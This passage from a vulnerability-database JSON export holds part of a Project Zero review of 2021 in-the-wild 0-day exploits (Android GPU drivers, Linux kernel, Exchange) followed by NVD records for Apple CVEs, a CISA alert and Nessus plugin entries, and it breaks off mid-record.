to public security research.\n\nFor the 7 Android 0-days they targeted the following components:\n\n * Qualcomm Adreno GPU driver ([CVE-2020-11261](<https://source.android.com/security/bulletin/2021-01-01>), [CVE-2021-1905](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1905.html>), [CVE-2021-1906](<https://source.android.com/security/bulletin/2021-05-01>))\n * ARM Mali GPU driver ([CVE-2021-28663](<https://source.android.com/security/bulletin/2021-05-01>), [CVE-2021-28664](<https://source.android.com/security/bulletin/2021-05-01>))\n * Upstream Linux kernel ([CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>), [CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>))\n\n5 of the 7 0-days from 2021 targeted GPU drivers. This is actually not that surprising when we consider the evolution of the Android ecosystem as well as recent public security research into Android. The Android ecosystem is quite fragmented: many different kernel versions, different manufacturer customizations, etc. If an attacker wants a capability against \u201cAndroid devices\u201d, they generally need to maintain many different exploits to have a decent percentage of the Android ecosystem covered. However, if the attacker chooses to target the GPU kernel driver instead of another component, they will only need to have two exploits since most Android devices use 1 of 2 GPUs: either the Qualcomm Adreno GPU or the ARM Mali GPU. \n\nPublic security research mirrored this choice in the last couple of years as well. When developing full exploit chains (for defensive purposes) to target Android devices, [Guang Gong](<https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf>), [Man Yue Mo](<https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/>), and [Ben Hawkes](<https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html>) all chose to attack the GPU kernel driver for local privilege escalation. Seeing the in-the-wild 0-days also target the GPU was more of a confirmation rather than a revelation. Of the 5 0-days targeting GPU drivers, 3 were in the Qualcomm Adreno driver and 2 in the ARM Mali driver. \n\nThe two non-GPU driver 0-days ([CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>) and [CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>)) targeted the upstream Linux kernel. Unfortunately, these 2 bugs shared a singular characteristic with the Android in-the-wild 0-day seen in 2019: all 3 were previously known upstream before their exploitation in Android. While the sample size is small, it\u2019s still quite striking to see that 100% of the known in-the-wild Android 0-days that target the kernel are bugs that actually were known about before their exploitation.\n\nThe vulnerability now referred to as [CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>) was actually found in September 2016 and [discussed on the Linux kernel mailing lists](<https://lore.kernel.org/lkml/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/>). A [patch was even developed back in 2016](<https://lore.kernel.org/lkml/1475150954-10152-1-git-send-email-mszeredi@redhat.com/>), but it didn\u2019t end up being submitted. The bug was finally [fixed in the Linux kernel in July 2021](<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cbcf01128d0a92e131bd09f1688fe032480b65ca>) after the detection of the in-the-wild exploit targeting Android. The patch then made it into the [Android security bulletin in November 2021](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>).\n\n[CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>) remained unpatched in Android for 14 months after it was patched in the Linux kernel. The Linux kernel was actually only vulnerable to the issue for a few weeks, but due to Android patching practices, that few weeks became almost a year for some Android devices. If an Android OEM synced to the upstream kernel, then they likely were patched against the vulnerability at some point. But many devices, such as recent Samsung devices, had not and thus were left vulnerable.\n\n## Microsoft Exchange Server\n\nIn 2021, there were 5 in-the-wild 0-days targeting Microsoft Exchange Server. This is the first time any Exchange Server in-the-wild 0-days have been detected and disclosed since we began tracking in-the-wild 0-days. The first four ([CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>)) were all disclosed and patched at the same time and used together in a [single operation](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). The fifth ([CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>)) was patched on its own in November 2021. [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>) was demonstrated at Tianfu Cup and then discovered in-the-wild by Microsoft. While no other in-the-wild 0-days were disclosed as part of the chain with [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>), the attackers would have required at least another 0-day for successful exploitation since [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>) is a post-authentication bug.\n\nOf the four Exchange in-the-wild 0-days used in the first campaign, [CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>), which is also known as \u201cProxyLogon\u201d, is the only one that\u2019s pre-auth. [CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>) is a server side request forgery (SSRF) vulnerability that allows unauthenticated attackers to send arbitrary HTTP requests as the Exchange server. The other three vulnerabilities were post-authentication. For example, [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) allowed attackers to write arbitrary files to the system. [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) is a remote code execution vulnerability due to a deserialization bug in the Unified Messaging service. This allowed attackers to run code as the privileged SYSTEM user.\n\nFor the second campaign, [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>), like [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), is a post-authentication RCE vulnerability due to insecure deserialization. It seems that while attempting to harden Exchange, Microsoft inadvertently introduced another deserialization vulnerability.\n\nWhile there were a significant amount of 0-days in Exchange detected and disclosed in 2021, it\u2019s important to remember that they were all used as 0-day in only two different campaigns. This is an example of why we don\u2019t suggest using the number of 0-days in a product as a metric to assess the security of a product. Requiring the use of four 0-days for attackers to have success is preferable to an attacker only needing one 0-day to successfully gain access.\n\nWhile this is the first time Exchange in-the-wild 0-days have been detected and disclosed since Project Zero began our tracking, this is not unexpected. In 2020 there was [n-day exploitation of Exchange Servers](<https://www.cisa.gov/uscert/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688>). Whether this was the first year that attackers began the 0-day exploitation or if this was the first year that defenders began detecting the 0-day exploitation, this is not an unexpected evolution and we\u2019ll likely see it continue into 2022.\n\n# Outstanding Questions\n\nWhile there has been progress on detection and disclosure, that progress has shown just how much work there still is to do. The more data we gained, the more questions that arose about biases in detection, what we\u2019re missing and why, and the need for more transparency from both vendors and researchers.\n\nUntil the day that attackers decide to happily share all their exploits with us, we can\u2019t fully know what percentage of 0-days are publicly known about. However when we pull together our expertise as security researchers and anecdotes from others in the industry, it paints a picture of some of the data we\u2019re very likely missing. From that, these are some of the key questions we\u2019re asking ourselves as we move into 2022:\n\n## Where are the [x] 0-days?\n\nDespite the number of 0-days found in 2021, there are key targets missing from the 0-days discovered. For example, we know that messaging applications like WhatsApp, Signal, Telegram, etc. are targets of interest to attackers and yet there\u2019s only 1 messaging app, in this case iMessage, 0-day found this past year. Since we began tracking in mid-2014 the total is two: a WhatsApp 0-day in 2019 and this iMessage 0-day found in 2021.\n\nAlong with messaging apps, there are other platforms/targets we\u2019d expect to see 0-days targeting, yet there are no or very few public examples. For example, since mid-2014 there\u2019s only one in-the-wild 0-day each for macOS and Linux. There are no known in-the-wild 0-days targeting cloud, CPU vulnerabilities, or other phone components such as the WiFi chip or the baseband.\n\nThis leads to the question of whether these 0-days are absent due to lack of detection, lack of disclosure, or both?\n\n## Do some vendors have no known in-the-wild 0-days because they\u2019ve never been found or because they don\u2019t publicly disclose?\n\nUnless a vendor has told us that they will publicly disclose exploitation status for all vulnerabilities in their platforms, we, the public, don\u2019t know if the absence of an annotation means that there is no known exploitation of a vulnerability or if there is, but the vendor is just not sharing that information publicly. Thankfully this question is something that has a pretty clear solution: all device and software vendors agreeing to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited in-the-wild.\n\n## Are we seeing the same bug patterns because that\u2019s what we know how to detect?\n\nAs we described earlier in this report, all the 0-days we saw in 2021 had similarities to previously seen vulnerabilities. This leads us to wonder whether or not that\u2019s actually representative of what attackers are using. Are attackers actually having success exclusively using vulnerabilities in bug classes and components that are previously public? Or are we detecting all these 0-days with known bug patterns because that\u2019s what we know how to detect? Public security research would suggest that yes, attackers are still able to have success with using vulnerabilities in known components and bug classes the majority of the time. But we\u2019d still expect to see a few novel and unexpected vulnerabilities in the grouping. We posed this question back in the 2019 year-in-review and it still lingers. \n\n## Where are the spl0itz?\n\nTo successfully exploit a vulnerability there are two key pieces that make up that exploit: the vulnerability being exploited, and the exploitation method (how that vulnerability is turned into something useful). \n\nUnfortunately, this report could only really analyze one of these components: the vulnerability. Out of the 58 0-days, only 5 have an exploit sample publicly available. Discovered in-the-wild 0-days are the failure case for attackers and a key opportunity for defenders to learn what attackers are doing and make it harder, more time-intensive, more costly, to do it again. Yet without the exploit sample or a detailed technical write-up based upon the sample, we can only focus on fixing the vulnerability rather than also mitigating the exploitation method. This means that attackers are able to continue to use their existing exploit methods rather than having to go back to the design and development phase to build a new exploitation method. While acknowledging that sharing exploit samples can be challenging (we have that challenge too!), we hope in 2022 there will be more sharing of exploit samples or detailed technical write-ups so that we can come together to use every possible piece of information to make it harder for the attackers to exploit more users.\n\nAs an aside, if you have an exploit sample that you\u2019re willing to share with us, please reach out. Whether it\u2019s sharing with us and having us write a detailed technical description and analysis or having us share it publicly, we\u2019d be happy to work with you.\n\n# Conclusion\n\nLooking back on 2021, what comes to mind is \u201cbaby steps\u201d. We can see clear industry improvement in the detection and disclosure of 0-day exploits. But the better detection and disclosure has highlighted other opportunities for progress. As an industry we\u2019re not making 0-day hard. Attackers are having success using vulnerabilities similar to what we\u2019ve seen previously and in components that have previously been discussed as attack surfaces.The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. And while we made distinct progress in detection and disclosure it has shown us areas where that can continue to improve.\n\nWhile this all may seem daunting, the promising part is that we\u2019ve done it before: we have made clear progress on previously daunting goals. In 2019, we discussed the large detection deficit for 0-day exploits and 2 years later more than double were detected and disclosed. So while there is still plenty more work to do, it\u2019s a tractable problem. There are concrete steps that the tech and security industries can take to make it even more progress: \n\n\n 1. Make it an industry standard behavior for all vendors to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited,\n 2. Vendors and security researchers sharing exploit samples or detailed descriptions of the exploit techniques.\n 3. Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.\n\nThrough 2021 we continually saw the real world impacts of the use of 0-day exploits against users and entities. Amnesty International, the Citizen Lab, and others highlighted [over](<https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/>) and [over](<https://www.amnesty.org/en/documents/doc10/4491/2021/en/>) how governments were using commercial surveillance products against [journalists](<https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/>), [human rights defenders](<https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/>), and [government officials](<https://www.reuters.com/technology/exclusive-us-state-department-phones-hacked-with-israeli-company-spyware-sources-2021-12-03/>). We saw many enterprises scrambling to remediate and protect themselves from the [Exchange Server 0-days](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). And we even learned of peer [security researchers being targeted by ](<https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/>)[North Korean government hackers](<https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/>). While the majority of people on the planet do not need to worry about their own personal risk of being targeted with 0-days, 0-day exploitation still affects us all. These 0-days tend to have an outsized impact on society so we need to continue doing whatever we can to make it harder for attackers to be successful in these attacks.\n\n2021 showed us we\u2019re on the right track and making progress, but there\u2019s plenty more to be done to make 0-day hard.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-19T00:00:00", "type": "googleprojectzero", "title": "\nThe More You Know, The More You Know You Don\u2019t Know\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4654", "CVE-2019-13720", "CVE-2019-2215", "CVE-2019-6625", "CVE-2020-0688", "CVE-2020-11261", "CVE-2020-16009", "CVE-2020-27932", "CVE-2020-27950", "CVE-2021-0920", "CVE-2021-1048", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1844", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-28310", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30737", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-30883", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-36948", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-41773", "CVE-2021-42321", "CVE-2022-21882", "CVE-2022-22587"], "modified": "2022-04-19T00:00:00", "id": "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156", "href": "https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-05-27T14:41:39", "description": "A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.2 and iPadOS 15.2. An application may be able to execute arbitrary code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-24T19:15:00", "type": "cve", "title": "CVE-2021-30983", "cwe": ["CWE-120"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30983"], "modified": "2021-12-28T20:40:00", "cpe": [], "id": "CVE-2021-30983", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-30983", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-05-27T14:41:21", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 15.0.2 and iPadOS 15.0.2, macOS Monterey 12.0.1, iOS 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, macOS Big Sur 11.6.1. An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited..", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-24T19:15:00", "type": "cve", "title": "CVE-2021-30883", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30883"], "modified": "2023-01-09T16:41:00", "cpe": ["cpe:/o:apple:macos:12.0", "cpe:/o:apple:iphone_os:15.0", "cpe:/o:apple:ipados:15.0", "cpe:/o:apple:iphone_os:15.0.1", "cpe:/o:apple:ipados:15.0.1"], "id": "CVE-2021-30883", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-30883", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:apple:macos:12.0:*:*:*:*:*:*:*", "cpe:2.3:o:apple:ipados:15.0.1:*:*:*:*:*:*:*", "cpe:2.3:o:apple:iphone_os:15.0:*:*:*:*:*:*:*", "cpe:2.3:o:apple:iphone_os:15.0.1:*:*:*:*:*:*:*", "cpe:2.3:o:apple:ipados:15.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-06-06T15:07:46", "description": "A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in iOS 13.6 and iPadOS 13.6, tvOS 13.4.8. An application may be able to execute arbitrary code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-10-16T17:15:00", "type": "cve", "title": "CVE-2020-9907", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-9907"], "modified": "2023-01-09T16:41:00", "cpe": [], "id": "CVE-2020-9907", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-9907", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-06-06T15:11:41", "description": "A use after free issue was addressed with improved memory management. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1. A malicious application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8605", "cwe": ["CWE-416"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-12-20T17:47:00", "cpe": [], "id": "CVE-2019-8605", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8605", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-06-06T16:06:05", "description": "A memory corruption issue was addressed with improved memory handling. This issue affected versions prior to iOS 12, macOS Mojave 10.14, tvOS 12, watchOS 5.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-04-03T18:29:00", "type": "cve", "title": "CVE-2018-4344", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344"], "modified": "2019-04-05T19:43:00", "cpe": [], "id": "CVE-2018-4344", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-4344", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-06-06T14:52:29", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.3.1 and iPadOS 13.3.1, macOS Catalina 10.15.3, tvOS 13.3.1, watchOS 6.1.2. An application may be able to execute arbitrary code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-02-27T21:15:00", "type": "cve", "title": "CVE-2020-3837", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3837"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2020-3837", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-3837", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}], "cisa": [{"lastseen": "2021-11-26T18:26:08", "description": "Apple has released a security update to address a vulnerability\u2014CVE-2021-30883\u2014in multiple products. An attacker could exploit this vulnerability to take control of an affected system. This vulnerability has been detected in exploits in the wild.\n\nCISA encourages users to review the Apple security page for [iOS 15.0.2 and iPadOS 15.0.2](<https://support.apple.com/en-us/HT212846>) and apply the necessary updates as soon as possible.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/10/12/apple-releases-security-update-address-cve-2021-30883>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-12T00:00:00", "type": "cisa", "title": "Apple Releases Security Update to Address CVE-2021-30883", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30883"], "modified": "2021-10-12T00:00:00", "id": "CISA:E1F65044D75ACB497440E12A5184D628", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/10/12/apple-releases-security-update-address-cve-2021-30883", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-06-01T14:32:17", "description": "The version of Apple iOS running on the mobile device is prior to 15.0.2. It is, therefore, affected by a vulnerability, as follows:\n\n - A vulnerability in IOMobileFrameBuffer allows an application to execute arbitrary code with kernel privileges. (CVE-2021-30883)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-10-14T00:00:00", "type": "nessus", "title": "Apple iOS < 15.0.2 Multiple Vulnerabilities (HT212846)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-30883"], "modified": "2023-05-31T00:00:00", "cpe": ["cpe:/o:apple:iphone_os"], "id": "APPLE_IOS_1502_CHECK.NBIN", "href": "https://www.tenable.com/plugins/nessus/154137", "sourceData": "Binary data apple_ios_1502_check.nbin", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-24T14:32:52", "description": "According to its banner, the version of Apple TV on the remote device is prior to 12.4.1. It is therefore affected by a use-after-free vulnerability as described in the HT210550", "cvss3": {}, "published": "2019-12-04T00:00:00", "type": "nessus", "title": "Apple TV < 12.4.1 A Use-After-Free Vulnerability", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": 